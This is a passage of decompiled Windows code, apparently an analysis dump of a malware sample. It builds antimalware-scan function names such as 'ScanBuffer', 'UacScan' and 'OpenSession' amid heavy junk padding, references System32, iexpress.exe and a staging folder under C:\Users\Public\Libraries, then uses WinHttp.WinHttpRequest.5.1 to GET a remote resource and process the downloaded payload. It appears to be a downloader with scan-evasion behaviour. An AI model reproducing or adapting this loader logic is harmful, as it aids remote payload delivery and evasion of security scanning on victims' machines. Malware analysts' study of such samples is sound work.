				E02CB4824();
				E02CB4698( &_v200, E02CB4964(_v204));
				_push(_v200);
				_t5637 =  *0x2de28a0; // 0xeca1b38
				E02CB47B0( &_v212, _t5637, 0x2cd6c14);
				E02CB4698( &_v208, E02CB4964(_v212));
				_pop(_t5949); // executed
				E02CC7B74(_v208, _t5949); // executed
				E02CB4698(0x2de283c, E02CB4964( *((intOrPtr*)(0x2cd9ad4 + E02CC7CA0(1, 3) * 4))));
				_push(0x2cd6c14);
				_push( *0x2de28a0);
				_push("ScanString");
				E02CB4824();
				E02CB4698( &_v216, E02CB4964(_v220));
				_push(_v216);
				_t5638 =  *0x2de28a0; // 0xeca1b38
				E02CB47B0( &_v228, _t5638, 0x2cd6c14);
				E02CB4698( &_v224, E02CB4964(_v228));
				_pop(_t5956); // executed
				E02CC7B74(_v224, _t5956); // executed
				_t5639 =  *0x2de283c; // 0xeca9160
				E02CB47B0( &_v232, _t5639, "C:\\Windows\\System32\\");
				if(E02CB7E40(_v232) == 0) {
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("ScanString");
					E02CB4824();
					E02CB4698( &_v252, E02CB4964(_v256));
					_push(_v252);
					_t5640 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v264, _t5640, 0x2cd6c14);
					E02CB4698( &_v260, E02CB4964(_v264));
					_pop(_t5962);
					E02CC7B74(_v260, _t5962);
					E02CB44F4(0x2de2818, "iexpress.exe");
				} else {
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("ScanString");
					E02CB4824();
					E02CB4698( &_v236, E02CB4964(_v240));
					_push(_v236);
					_t5877 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v248, _t5877, 0x2cd6c14);
					E02CB4698( &_v244, E02CB4964(_v248));
					_pop(_t7211); // executed
					E02CC7B74(_v244, _t7211); // executed
					_t7212 =  *0x2de283c; // 0xeca9160
					E02CB44F4(0x2de2818, _t7212);
				}
				E02CBC348(0,  &_v268);
				E02CB44F4(0x2de27f8, _v268);
				_push(0x2cd6c14);
				_push( *0x2de28a0);
				_push("UacScan");
				E02CB4824();
				E02CB4698( &_v272, E02CB4964(_v276));
				_push(_v272);
				_t5641 =  *0x2de28a0; // 0xeca1b38
				E02CB47B0( &_v284, _t5641, 0x2cd6c14);
				E02CB4698( &_v280, E02CB4964(_v284));
				_pop(_t5970); // executed
				E02CC7B74(_v280, _t5970); // executed
				_push(0x2cd6c14);
				_push( *0x2de28a0);
				_push("Initialize");
				E02CB4824();
				E02CB4698( &_v288, E02CB4964(_v292));
				_push(_v288);
				_t5642 =  *0x2de28a0; // 0xeca1b38
				E02CB47B0( &_v300, _t5642, 0x2cd6c14);
				E02CB4698( &_v296, E02CB4964(_v300));
				_pop(_t5975); // executed
				E02CC7B74(_v296, _t5975); // executed
				_push(0x2cd6c14);
				_push( *0x2de28a0);
				_push("UacInitialize");
				E02CB4824();
				E02CB4698( &_v304, E02CB4964(_v308));
				_push(_v304);
				_t5643 =  *0x2de28a0; // 0xeca1b38
				E02CB47B0( &_v316, _t5643, 0x2cd6c14);
				E02CB4698( &_v312, E02CB4964(_v316));
				_pop(_t5980); // executed
				E02CC7B74(_v312, _t5980); // executed
				_push(0x2cd6c14);
				_push( *0x2de28a0);
				_push("ScanString");
				E02CB4824();
				E02CB4698( &_v320, E02CB4964(_v324));
				_push(_v320);
				_t5644 =  *0x2de28a0; // 0xeca1b38
				E02CB47B0( &_v332, _t5644, 0x2cd6c14);
				E02CB4698( &_v328, E02CB4964(_v332));
				_pop(_t5985); // executed
				E02CC7B74(_v328, _t5985); // executed
				E02CB44F4(0x2de2874, "C:\\Users\\Public\\Libraries");
				_push(0x2cd6c14);
				_push( *0x2de28a0);
				_push("Initialize");
				E02CB4824();
				E02CB4698( &_v336, E02CB4964(_v340));
				_push(_v336);
				_t5645 =  *0x2de28a0; // 0xeca1b38
				E02CB47B0( &_v348, _t5645, 0x2cd6c14);
				E02CB4698( &_v344, E02CB4964(_v348));
				_pop(_t5991); // executed
				E02CC7B74(_v344, _t5991); // executed
				_push(0x2cd6c14);
				_push( *0x2de28a0);
				_push("ScanBuffer");
				E02CB4824();
				E02CB4698( &_v352, E02CB4964(_v356));
				_push(_v352);
				_t5646 =  *0x2de28a0; // 0xeca1b38
				E02CB47B0( &_v364, _t5646, 0x2cd6c14);
				E02CB4698( &_v360, E02CB4964(_v364));
				_pop(_t5996); // executed
				E02CC7B74(_v360, _t5996); // executed
				_push(0x2cd6c14);
				_push( *0x2de28a0);
				_push("OpenSession");
				E02CB4824();
				E02CB4698( &_v368, E02CB4964(_v372));
				_push(_v368);
				_t5647 =  *0x2de28a0; // 0xeca1b38
				E02CB47B0( &_v380, _t5647, 0x2cd6c14);
				E02CB4698( &_v376, E02CB4964(_v380));
				_pop(_t6001); // executed
				E02CC7B74(_v376, _t6001);
				_t2316 =  *0x2de27e8; // 0x0
				E02CB4698( &_v384, E02CB4964(_t2316));
				_t2321 = E02CB7E40(_v384);
				_t7224 = _t2321;
				if(_t2321 == 0) {
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("UacScan");
					E02CB4824();
					E02CB4698( &_v596, E02CB4964(_v600));
					_push(_v596);
					_t5648 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v608, _t5648, 0x2cd6c14);
					E02CB4698( &_v604, E02CB4964(_v608));
					_pop(_t6007); // executed
					E02CC7B74(_v604, _t6007); // executed
					E02CB44F4(0x2de2890, 0x2cd6e30);
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("OpenSession");
					E02CB4824();
					E02CB4698( &_v612, E02CB4964(_v616));
					_push(_v612);
					_t5649 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v624, _t5649, 0x2cd6c14);
					E02CB4698( &_v620, E02CB4964(_v624));
					_pop(_t6013); // executed
					E02CC7B74(_v620, _t6013); // executed
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("ScanBuffer");
					E02CB4824();
					E02CB4698( &_v628, E02CB4964(_v632));
					_push(_v628);
					_t5650 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v640, _t5650, 0x2cd6c14);
					E02CB4698( &_v636, E02CB4964(_v640));
					_pop(_t6018); // executed
					E02CC7B74(_v636, _t6018); // executed
					_t6019 =  *0x2de27f8; // 0x7f270018
					E02CB4DA4( &_v648, _t6019);
					E02CCCB94(_v648, 0x2de2878,  &_v644, _t7215); // executed
					E02CB44F4(0x2de2870, _v644);
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("OpenSession");
					E02CB4824();
					E02CB4698( &_v652, E02CB4964(_v656));
					_push(_v652);
					_t5651 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v664, _t5651, 0x2cd6c14);
					E02CB4698( &_v660, E02CB4964(_v664));
					_pop(_t6026); // executed
					E02CC7B74(_v660, _t6026); // executed
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("ScanString");
					E02CB4824();
					E02CB4698( &_v668, E02CB4964(_v672));
					_push(_v668);
					_t5652 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v680, _t5652, 0x2cd6c14);
					E02CB4698( &_v676, E02CB4964(_v680));
					_pop(_t6031); // executed
					E02CC7B74(_v676, _t6031); // executed
					_t2400 =  *0x2de2870; // 0x7fbf0018, executed
					E02CCCCF8(_t2400, 0x2de2878,  &_v684, 0x2cd6e3c, _t7214, _t7215); // executed
					_t5654 =  *0x2ccc9bc; // 0x2ccc9c0
					E02CB57DC(0x2de2878, _t5654, _v684);
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("ScanBuffer");
					E02CB4824();
					E02CB4698( &_v688, E02CB4964(_v692));
					_push(_v688);
					_t5655 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v700, _t5655, 0x2cd6c14);
					E02CB4698( &_v696, E02CB4964(_v700));
					_pop(_t6038); // executed
					E02CC7B74(_v696, _t6038); // executed
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("Initialize");
					E02CB4824();
					E02CB4698( &_v704, E02CB4964(_v708));
					_push(_v704);
					_t5656 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v716, _t5656, 0x2cd6c14);
					E02CB4698( &_v712, E02CB4964(_v716));
					_pop(_t6043); // executed
					E02CC7B74(_v712, _t6043); // executed
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("ScanString");
					E02CB4824();
					E02CB4698( &_v720, E02CB4964(_v724));
					_push(_v720);
					_t5657 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v732, _t5657, 0x2cd6c14);
					E02CB4698( &_v728, E02CB4964(_v732));
					_pop(_t6048); // executed
					E02CC7B74(_v728, _t6048); // executed
					E02CB44F4(0x2de280c,  *((intOrPtr*)( *0x2de2878 + 4)));
					E02CB44F4(0x2de2830,  *((intOrPtr*)( *0x2de2878 + 8)));
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("OpenSession");
					E02CB4824();
					E02CB4698( &_v736, E02CB4964(_v740));
					_push(_v736);
					_t5658 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v748, _t5658, 0x2cd6c14);
					E02CB4698( &_v744, E02CB4964(_v748));
					_pop(_t6057); // executed
					E02CC7B74(_v744, _t6057); // executed
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("ScanBuffer");
					E02CB4824();
					E02CB4698( &_v752, E02CB4964(_v756));
					_push(_v752);
					_t5659 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v764, _t5659, 0x2cd6c14);
					E02CB4698( &_v760, E02CB4964(_v764));
					_pop(_t6062); // executed
					E02CC7B74(_v760, _t6062);
					_t2478 =  *0x2de2830; // 0xeca1b78
					_t2479 = E02CCCC80(_t2478, 0x2de2878, _t6062, _t7214, _t7215, __eflags, _t7235);
					__eflags = _t2479 - 1;
					if(_t2479 == 1) {
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("Initialize");
						E02CB4824();
						E02CB4698( &_v768, E02CB4964(_v772));
						_push(_v768);
						_t5839 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v780, _t5839, 0x2cd6c14);
						E02CB4698( &_v776, E02CB4964(_v780));
						_pop(_t7018); // executed
						E02CC7B74(_v776, _t7018); // executed
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("ScanString");
						E02CB4824();
						E02CB4698( &_v784, E02CB4964(_v788));
						_push(_v784);
						_t5840 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v796, _t5840, 0x2cd6c14);
						E02CB4698( &_v792, E02CB4964(_v796));
						_pop(_t7023); // executed
						E02CC7B74(_v792, _t7023);
						_t5090 =  *0x2de2830; // 0xeca1b78
						_t5091 = E02CB7AB0(_t5090, __eflags);
						_t5092 =  *0x2de280c; // 0xec8c080
						E02CCD4FC(_t5092, 0x2de2878,  &_v800, _t5091, _t7215);
						E02CB44F4(0x2de28a4, _v800);
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("OpenSession");
						E02CB4824();
						E02CB4698( &_v804, E02CB4964(_v808));
						_push(_v804);
						_t5842 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v816, _t5842, 0x2cd6c14);
						E02CB4698( &_v812, E02CB4964(_v816));
						_pop(_t7030); // executed
						E02CC7B74(_v812, _t7030); // executed
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("ScanBuffer");
						E02CB4824();
						E02CB4698( &_v820, E02CB4964(_v824));
						_push(_v820);
						_t5843 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v832, _t5843, 0x2cd6c14);
						E02CB4698( &_v828, E02CB4964(_v832));
						_pop(_t7035); // executed
						E02CC7B74(_v828, _t7035); // executed
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("OpenSession");
						E02CB4824();
						E02CB4698( &_v836, E02CB4964(_v840));
						_push(_v836);
						_t5844 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v848, _t5844, 0x2cd6c14);
						E02CB4698( &_v844, E02CB4964(_v848));
						_pop(_t7040); // executed
						E02CC7B74(_v844, _t7040); // executed
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("UacScan");
						E02CB4824();
						E02CB4698( &_v852, E02CB4964(_v856));
						_push(_v852);
						_t5845 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v864, _t5845, 0x2cd6c14);
						E02CB4698( &_v860, E02CB4964(_v864));
						_pop(_t7045); // executed
						E02CC7B74(_v860, _t7045); // executed
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("Initialize");
						E02CB4824();
						E02CB4698( &_v868, E02CB4964(_v872));
						_push(_v868);
						_t5846 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v880, _t5846, 0x2cd6c14);
						E02CB4698( &_v876, E02CB4964(_v880));
						_pop(_t7050); // executed
						E02CC7B74(_v876, _t7050); // executed
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("ScanBuffer");
						E02CB4824();
						E02CB4698( &_v884, E02CB4964(_v888));
						_push(_v884);
						_t5847 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v896, _t5847, 0x2cd6c14);
						E02CB4698( &_v892, E02CB4964(_v896));
						_pop(_t7055); // executed
						E02CC7B74(_v892, _t7055); // executed
						_t5180 =  *0x2de28a4; // 0xec8c1a0
						_t5181 = E02CCD410(_t5180, 0x2cd6e4c);
						__eflags = _t5181;
						if(_t5181 != 0) {
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("ScanBuffer");
							E02CB4824();
							E02CB4698( &_v900, E02CB4964(_v904));
							_push(_v900);
							_t5848 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v912, _t5848, 0x2cd6c14);
							E02CB4698( &_v908, E02CB4964(_v912));
							_pop(_t7061); // executed
							E02CC7B74(_v908, _t7061); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("OpenSession");
							E02CB4824();
							E02CB4698( &_v916, E02CB4964(_v920));
							_push(_v916);
							_t5849 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v928, _t5849, 0x2cd6c14);
							E02CB4698( &_v924, E02CB4964(_v928));
							_pop(_t7066); // executed
							E02CC7B74(_v924, _t7066); // executed
							_push(0); // executed
							L02CBCD94(); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("OpenSession");
							E02CB4824();
							E02CB4698( &_v932, E02CB4964(_v936));
							_push(_v932);
							_t5850 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v944, _t5850, 0x2cd6c14);
							E02CB4698( &_v940, E02CB4964(_v944));
							_pop(_t7071); // executed
							E02CC7B74(_v940, _t7071); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("UacScan");
							E02CB4824();
							E02CB4698( &_v948, E02CB4964(_v952));
							_push(_v948);
							_t5851 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v960, _t5851, 0x2cd6c14);
							E02CB4698( &_v956, E02CB4964(_v960));
							_pop(_t7076); // executed
							E02CC7B74(_v956, _t7076); // executed
							E02CC6DC0("WinHttp.WinHttpRequest.5.1", 0x2de2878,  &_v964, _t7214, _t7215, __eflags); // executed
							E02CC287C(0x2de27fc, _v964);
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("OpenSession");
							E02CB4824();
							E02CB4698( &_v968, E02CB4964(_v972));
							_push(_v968);
							_t5852 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v980, _t5852, 0x2cd6c14);
							E02CB4698( &_v976, E02CB4964(_v980));
							_pop(_t7083); // executed
							E02CC7B74(_v976, _t7083); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("ScanString");
							E02CB4824();
							E02CB4698( &_v984, E02CB4964(_v988));
							_push(_v984);
							_t5853 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v996, _t5853, 0x2cd6c14);
							E02CB4698( &_v992, E02CB4964(_v996));
							_pop(_t7088); // executed
							E02CC7B74(_v992, _t7088); // executed
							_push(0);
							_push(0x2de28a4);
							E02CBE3E0(0, 0x2de27fc, 0x2cd6e84, "GET"); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("OpenSession");
							E02CB4824();
							E02CB4698( &_v1000, E02CB4964(_v1004));
							_push(_v1000);
							_t5854 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1012, _t5854, 0x2cd6c14);
							E02CB4698( &_v1008, E02CB4964(_v1012));
							_pop(_t7093); // executed
							E02CC7B74(_v1008, _t7093); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("ScanBuffer");
							E02CB4824();
							E02CB4698( &_v1016, E02CB4964(_v1020));
							_push(_v1016);
							_t5855 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1028, _t5855, 0x2cd6c14);
							E02CB4698( &_v1024, E02CB4964(_v1028));
							_pop(_t7098); // executed
							E02CC7B74(_v1024, _t7098); // executed
							_push(0x2cd6e90);
							_push(0x2de27fc);
							_push(0); // executed
							E02CBE3E0(); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("OpenSession");
							E02CB4824();
							E02CB4698( &_v1032, E02CB4964(_v1036));
							_push(_v1032);
							_t5856 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1044, _t5856, 0x2cd6c14);
							E02CB4698( &_v1040, E02CB4964(_v1044));
							_pop(_t7103); // executed
							E02CC7B74(_v1040, _t7103); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("ScanString");
							E02CB4824();
							E02CB4698( &_v1048, E02CB4964(_v1052));
							_push(_v1048);
							_t5857 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1060, _t5857, 0x2cd6c14);
							E02CB4698( &_v1056, E02CB4964(_v1060));
							_pop(_t7108); // executed
							E02CC7B74(_v1056, _t7108); // executed
							_push(0x2cd6e9c);
							_push(0x2de27fc);
							_push( &_v1076); // executed
							E02CBE3E0(); // executed
							_t7218 = _t7218 + 0x30;
							E02CC17CC(0x2de282c, 0x2de2878,  &_v1076, _t7214, _t7215, _t7235); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("Initialize");
							E02CB4824();
							E02CB4698( &_v1080, E02CB4964(_v1084));
							_push(_v1080);
							_t5858 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1092, _t5858, 0x2cd6c14);
							E02CB4698( &_v1088, E02CB4964(_v1092));
							_pop(_t7114); // executed
							E02CC7B74(_v1088, _t7114); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("ScanString");
							E02CB4824();
							E02CB4698( &_v1096, E02CB4964(_v1100));
							_push(_v1096);
							_t5859 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1108, _t5859, 0x2cd6c14);
							E02CB4698( &_v1104, E02CB4964(_v1108));
							_pop(_t7119); // executed
							E02CC7B74(_v1104, _t7119);
							_t5360 =  *0x2de282c; // 0x7f330018
							_v1112 = _t5360;
							_t5361 = _v1112;
							__eflags = _t5361;
							if(_t5361 != 0) {
								_t5422 = _t5361 - 4;
								__eflags = _t5422;
								_t5361 =  *_t5422;
							}
							__eflags = _t5361 - 0x7530;
							if(_t5361 > 0x7530) {
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("OpenSession");
								E02CB4824();
								E02CB4698( &_v1116, E02CB4964(_v1120));
								_push(_v1116);
								_t5862 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v1128, _t5862, 0x2cd6c14);
								E02CB4698( &_v1124, E02CB4964(_v1128));
								_pop(_t7134); // executed
								E02CC7B74(_v1124, _t7134); // executed
								_push(0x2cd6c14);
								_push( *0x2de28a0);
								_push("ScanBuffer");
								E02CB4824();
								E02CB4698( &_v1132, E02CB4964(_v1136));
								_push(_v1132);
								_t5863 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v1144, _t5863, 0x2cd6c14);
								E02CB4698( &_v1140, E02CB4964(_v1144));
								_pop(_t7139); // executed
								E02CC7B74(_v1140, _t7139); // executed
								_t5418 =  *0x2de282c; // 0x7f330018
								E02CCD804(_t5418, _t5863,  &_v1148);
								E02CB44F4(0x2de286c, _v1148);
							}
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("Initialize");
							E02CB4824();
							E02CB4698( &_v1152, E02CB4964(_v1156));
							_push(_v1152);
							_t5860 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1164, _t5860, 0x2cd6c14);
							E02CB4698( &_v1160, E02CB4964(_v1164));
							_pop(_t7124); // executed
							E02CC7B74(_v1160, _t7124); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("UacScan");
							E02CB4824();
							E02CB4698( &_v1168, E02CB4964(_v1172));
							_push(_v1168);
							_t5861 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1180, _t5861, 0x2cd6c14);
							E02CB4698( &_v1176, E02CB4964(_v1180));
							_pop(_t7129); // executed
							E02CC7B74(_v1176, _t7129); // executed
							L02CBCD9C(); // executed
						}
					}
				} else {
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("Initialize");
					E02CB4824();
					E02CB4698( &_v388, E02CB4964(_v392));
					_push(_v388);
					_t5864 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v400, _t5864, 0x2cd6c14);
					E02CB4698( &_v396, E02CB4964(_v400));
					_pop(_t7146);
					E02CC7B74(_v396, _t7146);
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("OpenSession");
					E02CB4824();
					E02CB4698( &_v404, E02CB4964(_v408));
					_push(_v404);
					_t5865 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v416, _t5865, 0x2cd6c14);
					E02CB4698( &_v412, E02CB4964(_v416));
					_pop(_t7151);
					E02CC7B74(_v412, _t7151);
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("ScanBuffer");
					E02CB4824();
					E02CB4698( &_v420, E02CB4964(_v424));
					_push(_v420);
					_t5866 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v432, _t5866, 0x2cd6c14);
					E02CB4698( &_v428, E02CB4964(_v432));
					_pop(_t7156);
					E02CC7B74(_v428, _t7156);
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("Initialize");
					E02CB4824();
					E02CB4698( &_v436, E02CB4964(_v440));
					_push(_v436);
					_t5867 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v448, _t5867, 0x2cd6c14);
					E02CB4698( &_v444, E02CB4964(_v448));
					_pop(_t7161);
					E02CC7B74(_v444, _t7161);
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("ScanBuffer");
					E02CB4824();
					E02CB4698( &_v452, E02CB4964(_v456));
					_push(_v452);
					_t5868 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v464, _t5868, 0x2cd6c14);
					E02CB4698( &_v460, E02CB4964(_v464));
					_pop(_t7166);
					E02CC7B74(_v460, _t7166);
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("OpenSession");
					E02CB4824();
					E02CB4698( &_v468, E02CB4964(_v472));
					_push(_v468);
					_t5869 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v480, _t5869, 0x2cd6c14);
					E02CB4698( &_v476, E02CB4964(_v480));
					_pop(_t7171);
					E02CC7B74(_v476, _t7171);
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("OpenSession");
					E02CB4824();
					E02CB4698( &_v484, E02CB4964(_v488));
					_push(_v484);
					_t5870 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v496, _t5870, 0x2cd6c14);
					E02CB4698( &_v492, E02CB4964(_v496));
					_pop(_t7176);
					E02CC7B74(_v492, _t7176);
					_push(0x2cd6c14);
					_push( *0x2de28a0);
					_push("ScanBuffer");
					E02CB4824();
					E02CB4698( &_v500, E02CB4964(_v504));
					_push(_v500);
					_t5871 =  *0x2de28a0; // 0xeca1b38
					E02CB47B0( &_v512, _t5871, 0x2cd6c14);
					E02CB4698( &_v508, E02CB4964(_v512));
					_pop(_t7181);
					E02CC7B74(_v508, _t7181);
					_t5535 =  *0x2de2830; // 0xeca1b78
					if(E02CCCC80(_t5535, 0x2de2878, _t7181, _t7214, _t7215, _t7224, _t7235) == 1) {
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("Initialize");
						E02CB4824();
						E02CB4698( &_v516, E02CB4964(_v520));
						_push(_v516);
						_t5872 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v528, _t5872, 0x2cd6c14);
						E02CB4698( &_v524, E02CB4964(_v528));
						_pop(_t7186);
						E02CC7B74(_v524, _t7186);
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("OpenSession");
						E02CB4824();
						E02CB4698( &_v532, E02CB4964(_v536));
						_push(_v532);
						_t5873 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v544, _t5873, 0x2cd6c14);
						E02CB4698( &_v540, E02CB4964(_v544));
						_pop(_t7191);
						E02CC7B74(_v540, _t7191);
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("ScanBuffer");
						E02CB4824();
						E02CB4698( &_v548, E02CB4964(_v552));
						_push(_v548);
						_t5874 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v560, _t5874, 0x2cd6c14);
						E02CB4698( &_v556, E02CB4964(_v560));
						_pop(_t7196);
						E02CC7B74(_v556, _t7196);
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("ScanBuffer");
						E02CB4824();
						E02CB4698( &_v564, E02CB4964(_v568));
						_push(_v564);
						_t5875 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v576, _t5875, 0x2cd6c14);
						E02CB4698( &_v572, E02CB4964(_v576));
						_pop(_t7201);
						E02CC7B74(_v572, _t7201);
						_push(0x2cd6c14);
						_push( *0x2de28a0);
						_push("OpenSession");
						E02CB4824();
						E02CB4698( &_v580, E02CB4964(_v584));
						_push(_v580);
						_t5876 =  *0x2de28a0; // 0xeca1b38
						E02CB47B0( &_v592, _t5876, 0x2cd6c14);
						E02CB4698( &_v588, E02CB4964(_v592));
						_pop(_t7206);
						E02CC7B74(_v588, _t7206);
					}
				}
				_push(0x2cd6c14);
				_push( *0x2de28a0);
				_push("OpenSession");
				E02CB4824();
				E02CB4698( &_v1184, E02CB4964(_v1188));
				_push(_v1184);
				_t5660 =  *0x2de28a0; // 0xeca1b38
				E02CB47B0( &_v1196, _t5660, 0x2cd6c14);
				E02CB4698( &_v1192, E02CB4964(_v1196));
				_pop(_t6067); // executed
				E02CC7B74(_v1192, _t6067); // executed
				_push(0x2cd6c14);
				_push( *0x2de28a0);
				_push("ScanString");
				E02CB4824();
				E02CB4698( &_v1200, E02CB4964(_v1204));
				_push(_v1200);
				_t5661 =  *0x2de28a0; // 0xeca1b38
				E02CB47B0( &_v1212, _t5661, 0x2cd6c14);
				E02CB4698( &_v1208, E02CB4964(_v1212));
				_pop(_t6072); // executed
				E02CC7B74(_v1208, _t6072);
				_t2508 =  *0x2de286c; // 0x7f560018
				_v1112 = _t2508;
				_t2509 = _v1112;
				if(_t2509 != 0) {
					_t2509 =  *((intOrPtr*)(_t2509 - 4));
				}
				_t7228 = _t2509 - 0x493e0;
				if(_t2509 <= 0x493e0) {
					L49:
					__eflags = 0;
					_pop(_t6073);
					 *[fs:eax] = _t6073;
					_push(0x2cd6be8);
					E02CB44C4( &_v4888, 0x62);
					E02CB44C4( &_v4488, 2);
					E02CB44C4( &_v4496, 2);
					E02CB44C4( &_v4480, 0x1a);
					E02CB4C24( &_v4376);
					E02CB44A0( &_v4372);
					E02CB4C24( &_v4368);
					E02CB44C4( &_v4364, 0x43);
					E02CB44C4( &_v4088, 2);
					E02CB44C4( &_v4096, 2);
					E02CB44C4( &_v4080, 0x11);
					E02CB4C24( &_v4012);
					E02CB44C4( &_v4008, 0x50);
					E02CB44C4( &_v3688, 0x36);
					E02CB4C3C( &_v3472, 3);
					E02CB44C4( &_v3460, 8);
					E02CB4C3C( &_v3428, 6);
					E02CB44C4( &_v3404, 0x10);
					E02CB44C4( &_v3084, 0xd);
					E02CB44C4( &_v3032, 0x14);
					E02CB4C24( &_v2952);
					E02CB44A0( &_v2948);
					E02CB4C24( &_v2944);
					E02CB44C4( &_v2940, 0x26);
					E02CB4C24( &_v2788);
					E02CB44A0( &_v2784);
					E02CB4C24( &_v2780);
					E02CB44C4( &_v2776, 0x19);
					E02CB4C24( &_v2676);
					E02CB44A0( &_v2672);
					E02CB4C24( &_v2668);
					E02CB44C4( &_v2664, 8);
					E02CB44C4( &_v2632, 0x12);
					E02CB4C24( &_v2560);
					E02CB44A0( &_v2556);
					E02CB4C24( &_v2552);
					E02CB44C4( &_v2548, 0x4f);
					E02CB44C4( &_v2232, 0x56);
					E02CB4C24( &_v1888);
					E02CB44A0( &_v1884);
					E02CB4C24( &_v1880);
					E02CB44C4( &_v1876, 8);
					E02CB44C4( &_v1840, 3);
					E02CB44A0( &_v1844);
					E02CB44C4( &_v1828, 0x62);
					E02CB44A0( &_v1424);
					E02CB44C4( &_v1436, 3);
					E02CB44A0( &_v1420);
					_t6100 =  *0x2ccc9bc; // 0x2ccc9c0
					E02CB57A0( &_v1416, _t6100);
					E02CB44C4( &_v1412, 0x4b);
					E02CB44C4( &_v1108, 8);
					E02CBE3D8( &_v1076);
					E02CB44C4( &_v1060, 8);
					E02CB44C4( &_v1024, 3);
					E02CB44A0( &_v1028);
					E02CB44C4( &_v1012, 0xc);
